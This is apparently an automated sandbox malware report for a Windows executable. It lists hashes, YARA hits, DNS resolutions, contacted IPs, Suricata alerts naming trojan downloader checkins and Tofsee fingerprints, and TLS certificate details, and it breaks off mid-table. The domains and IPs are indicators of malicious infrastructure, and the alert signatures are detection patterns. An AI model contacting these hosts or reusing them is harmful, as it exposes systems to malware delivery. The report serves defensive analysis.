popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

ww_testLL_0211_single.exe

Gen1 Generic Malware UPX ASPack Malicious Library Malicious Packer PE64 PE File OS Processor Check PE32 .NET EXE DLL
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Nov. 4, 2021, 2:43 p.m. Nov. 4, 2021, 3:05 p.m.
Size 172.0KB
Type PE32 executable (GUI) Intel 80386, for MS Windows
MD5 8ac9ae1dd3a33406003c4456359a9db4
SHA256 7890f85114dba72bfafa6dd4cca59d2ac030458e32136c3a5ce992469cc353bc
CRC32 72EDE583
ssdeep 3072:DRt67jtKBIKViaBNa1wK9BOomGbV3gWph+l5/yyvcOGkXthDBzBAXL+laxX19551:+kBKia6QBOaV3PgNyyvcOGkXTDBzySlP
Yara
  • PE_Header_Zero - PE File Signature
  • OS_Processor_Check_Zero - OS Processor Check
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file

Name Response Post-Analysis Lookup
ip-api.com
A 208.95.112.1
208.95.112.1
telegram.org
A 149.154.167.99
149.154.167.99
dataonestorage.com
A 45.142.182.152
45.142.182.152
apps.identrust.com
A 121.254.136.27
CNAME a1952.dscq.akamai.net
CNAME identrust.edgesuite.net
A 121.254.136.57
A 23.32.56.121
A 23.32.56.144
23.216.159.81
f.gogamef.com
A 172.67.136.94
A 104.21.72.228
104.21.72.228
twitter.com
A 104.244.42.65
104.244.42.65
el5en1977834657.s3.ap-south-1.amazonaws.com
A 52.219.66.59
CNAME s3-r-w.ap-south-1.amazonaws.com
52.219.64.55
ipinfo.io
A 34.117.59.81
34.117.59.81
eguntong.com
A 5.8.76.205
5.8.76.205
yandex.ru
A 5.255.255.5
A 77.88.55.55
A 5.255.255.70
A 77.88.55.70
5.255.255.5
t.gogamec.com
A 104.21.85.99
A 172.67.204.112
172.67.204.112
iplis.ru
A 88.99.66.31
88.99.66.31
staticimg.youtuuee.com
A 45.136.151.102
45.136.151.102
www.hzradiant.com
A 194.163.158.120
194.163.158.120
imgs.googlwaa.com
A 45.136.113.13
45.136.113.13
fouratlinks.com
A 199.192.17.247
199.192.17.247
d.gogamed.com
A 172.67.185.110
A 104.21.59.236
104.21.59.236
cdn.discordapp.com
A 162.159.135.233
A 162.159.134.233
A 162.159.129.233
A 162.159.130.233
A 162.159.133.233
162.159.133.233
IP Address Status Action
104.21.72.228 Active Moloch
104.244.42.65 Active Moloch
121.254.136.27 Active Moloch
149.154.167.99 Active Moloch
162.159.133.233 Active Moloch
164.124.101.2 Active Moloch
172.67.185.110 Active Moloch
172.67.204.112 Active Moloch
194.163.158.120 Active Moloch
199.192.17.247 Active Moloch
208.95.112.1 Active Moloch
212.192.241.62 Active Moloch
23.32.56.144 Active Moloch
34.117.59.81 Active Moloch
45.133.1.107 Active Moloch
45.133.1.182 Active Moloch
45.136.113.13 Active Moloch
45.136.151.102 Active Moloch
45.142.182.152 Active Moloch
5.255.255.5 Active Moloch
5.8.76.205 Active Moloch
52.219.66.59 Active Moloch
88.99.66.31 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49165 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49165 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49166 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49168 -> 162.159.133.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49164 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49164 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49162 -> 212.192.241.62:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49162 -> 212.192.241.62:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49174 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49176 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49174 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49176 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49175 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49175 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49180 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49177 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49177 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49181 -> 162.159.133.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 45.133.1.107:80 -> 192.168.56.103:49171 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 45.133.1.107:80 -> 192.168.56.103:49171 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49183 -> 162.159.133.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 149.154.167.99:443 -> 192.168.56.103:49187 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49190 -> 5.255.255.5:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49195 -> 88.99.66.31:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49199 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 162.159.133.233:80 -> 192.168.56.103:49199 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49192 -> 212.192.241.62:80 2034202 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin M2 A Network Trojan was detected
TCP 192.168.56.103:49209 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49209 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49185 -> 149.154.167.99:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49197 -> 88.99.66.31:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49200 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49212 -> 162.159.133.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49213 -> 34.117.59.81:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49213 -> 34.117.59.81:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 34.117.59.81:443 -> 192.168.56.103:49213 2025330 ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49170 -> 34.117.59.81:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49170 -> 34.117.59.81:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49207 -> 212.192.241.62:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 34.117.59.81:443 -> 192.168.56.103:49170 2025330 ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49207 -> 212.192.241.62:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49188 -> 104.244.42.65:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49194 -> 212.192.241.62:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49194 -> 212.192.241.62:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49219 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49178 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49216 -> 212.192.241.62:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49173 -> 212.192.241.62:80 2034192 ET MALWARE Win32/Unk.HRESQ! MultiDownloader Checkin A Network Trojan was detected
TCP 192.168.56.103:49233 -> 104.21.72.228:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49202 -> 162.159.133.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49193 -> 34.117.59.81:443 2025331 ET POLICY Possible External IP Lookup Domain Observed in SNI (ipinfo. io) Device Retrieving External IP Address Detected
TCP 192.168.56.103:49193 -> 34.117.59.81:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 34.117.59.81:443 -> 192.168.56.103:49193 2025330 ET POLICY Possible External IP Lookup SSL Cert Observed (ipinfo.io) Device Retrieving External IP Address Detected
TCP 45.136.113.13:80 -> 192.168.56.103:49220 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.103:49198 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49198 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49218 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 162.159.133.233:80 -> 192.168.56.103:49218 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49226 -> 172.67.185.110:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49226 -> 172.67.185.110:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 45.142.182.152:443 -> 192.168.56.103:49238 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49243 -> 45.142.182.152:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49222 -> 172.67.185.110:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49222 -> 172.67.185.110:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49245 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49251 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49254 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49258 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49234 -> 45.142.182.152:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49256 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49262 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 5.8.76.205:80 -> 192.168.56.103:49235 2014819 ET INFO Packed Executable Download Misc activity
TCP 192.168.56.103:49270 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49227 -> 52.219.66.59:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49271 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 5.8.76.205:80 -> 192.168.56.103:49235 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.103:49278 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49273 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49283 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49268 -> 52.219.66.59:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49298 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49292 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49300 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49237 -> 45.142.182.152:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49297 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49304 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49208 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49208 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49210 -> 162.159.133.233:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49305 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49308 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49224 -> 162.159.133.233:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 45.133.1.107:80 -> 192.168.56.103:49214 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 45.133.1.107:80 -> 192.168.56.103:49214 2021076 ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response Potentially Bad Traffic
TCP 192.168.56.103:49317 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 45.142.182.152:443 -> 192.168.56.103:49249 2029340 ET INFO TLS Handshake Failure Potentially Bad Traffic
TCP 192.168.56.103:49253 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49257 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49269 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49274 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49232 -> 172.67.185.110:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49284 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49286 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49289 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49217 -> 162.159.133.233:80 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 162.159.133.233:80 -> 192.168.56.103:49217 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49229 -> 172.67.185.110:80 2260000 SURICATA Applayer Mismatch protocol both directions Generic Protocol Command Decode
TCP 192.168.56.103:49299 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49301 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49255 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49306 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49261 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49264 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49315 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49275 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49279 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49259 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49280 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 199.192.17.247:80 -> 192.168.56.103:49320 2018959 ET POLICY PE EXE or DLL Windows file download HTTP Potential Corporate Privacy Violation
TCP 192.168.56.103:49281 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49282 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49291 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49263 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49293 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49295 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49266 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49302 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49307 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49309 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49272 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49321 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49323 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49324 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49277 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49285 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49288 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49294 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49303 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49248 -> 208.95.112.1:80 2022082 ET POLICY External IP Lookup ip-api.com Device Retrieving External IP Address Detected
TCP 192.168.56.103:49247 -> 45.142.182.152:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49260 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49265 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49267 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49310 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49276 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49312 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49287 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49296 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49313 -> 52.219.66.59:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49325 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49314 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined
TCP 192.168.56.103:49326 -> 172.67.204.112:443 906200056 SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) undefined

Suricata TLS

Flow Issuer Subject Fingerprint
TLSv1
192.168.56.103:49168
162.159.133.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.103:49181
162.159.133.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.103:49183
162.159.133.233:443 		None None None
TLSv1
192.168.56.103:49190
5.255.255.5:443 		C=RU, O=Yandex LLC, OU=Yandex Certification Authority, CN=Yandex CA C=RU, L=Moscow, OU=ITO, O=Yandex LLC, CN=*.yandex.az 2b:13:52:0c:b0:c6:8c:c9:e3:05:6e:11:91:74:4d:65:ce:3a:64:29
TLSv1
192.168.56.103:49195
88.99.66.31:443 		C=US, O=Let's Encrypt, CN=R3 CN=iplogger.com 92:14:16:9c:56:a1:f2:6a:b9:1d:e1:8d:4c:5f:a4:57:a7:9c:a0:6b
TLSv1
192.168.56.103:49197
88.99.66.31:443 		C=US, O=Let's Encrypt, CN=R3 CN=iplogger.com 92:14:16:9c:56:a1:f2:6a:b9:1d:e1:8d:4c:5f:a4:57:a7:9c:a0:6b
TLSv1
192.168.56.103:49212
162.159.133.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.103:49213
34.117.59.81:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1D4 CN=ipinfo.io f0:42:a0:3b:5b:a8:0e:51:f4:13:25:f7:fc:7c:dc:35:63:19:75:63
TLSv1
192.168.56.103:49170
34.117.59.81:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1D4 CN=ipinfo.io f0:42:a0:3b:5b:a8:0e:51:f4:13:25:f7:fc:7c:dc:35:63:19:75:63
TLSv1
192.168.56.103:49233
104.21.72.228:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamef.com 5c:36:e8:6e:6d:65:76:95:76:a5:7d:b3:47:fe:54:fe:f3:71:15:1b
TLSv1
192.168.56.103:49202
162.159.133.233:443 		C=US, O=Cloudflare, Inc., CN=Cloudflare Inc RSA CA-2 C=US, ST=CA, L=San Francisco, O=Cloudflare, Inc., CN=sni.cloudflaressl.com a6:26:df:21:b9:4f:a7:fb:ae:8d:87:ce:fb:7d:2b:c6:50:8b:ff:da
TLSv1
192.168.56.103:49193
34.117.59.81:443 		C=US, O=Google Trust Services LLC, CN=GTS CA 1D4 CN=ipinfo.io f0:42:a0:3b:5b:a8:0e:51:f4:13:25:f7:fc:7c:dc:35:63:19:75:63
TLSv1
192.168.56.103:49245
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49251
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49258
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49254
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49256
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49262
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49270
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49271
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49278
172.67.204.112:443 		C=US, O=Let's Encrypt, CN=R3 CN=*.gogamec.com ee:4c:93:4c:ed:a7:33:d6:e8:4b:a4:7f:af:73:91:a4:cf:9b:23:b1
TLSv1
192.168.56.103:49273
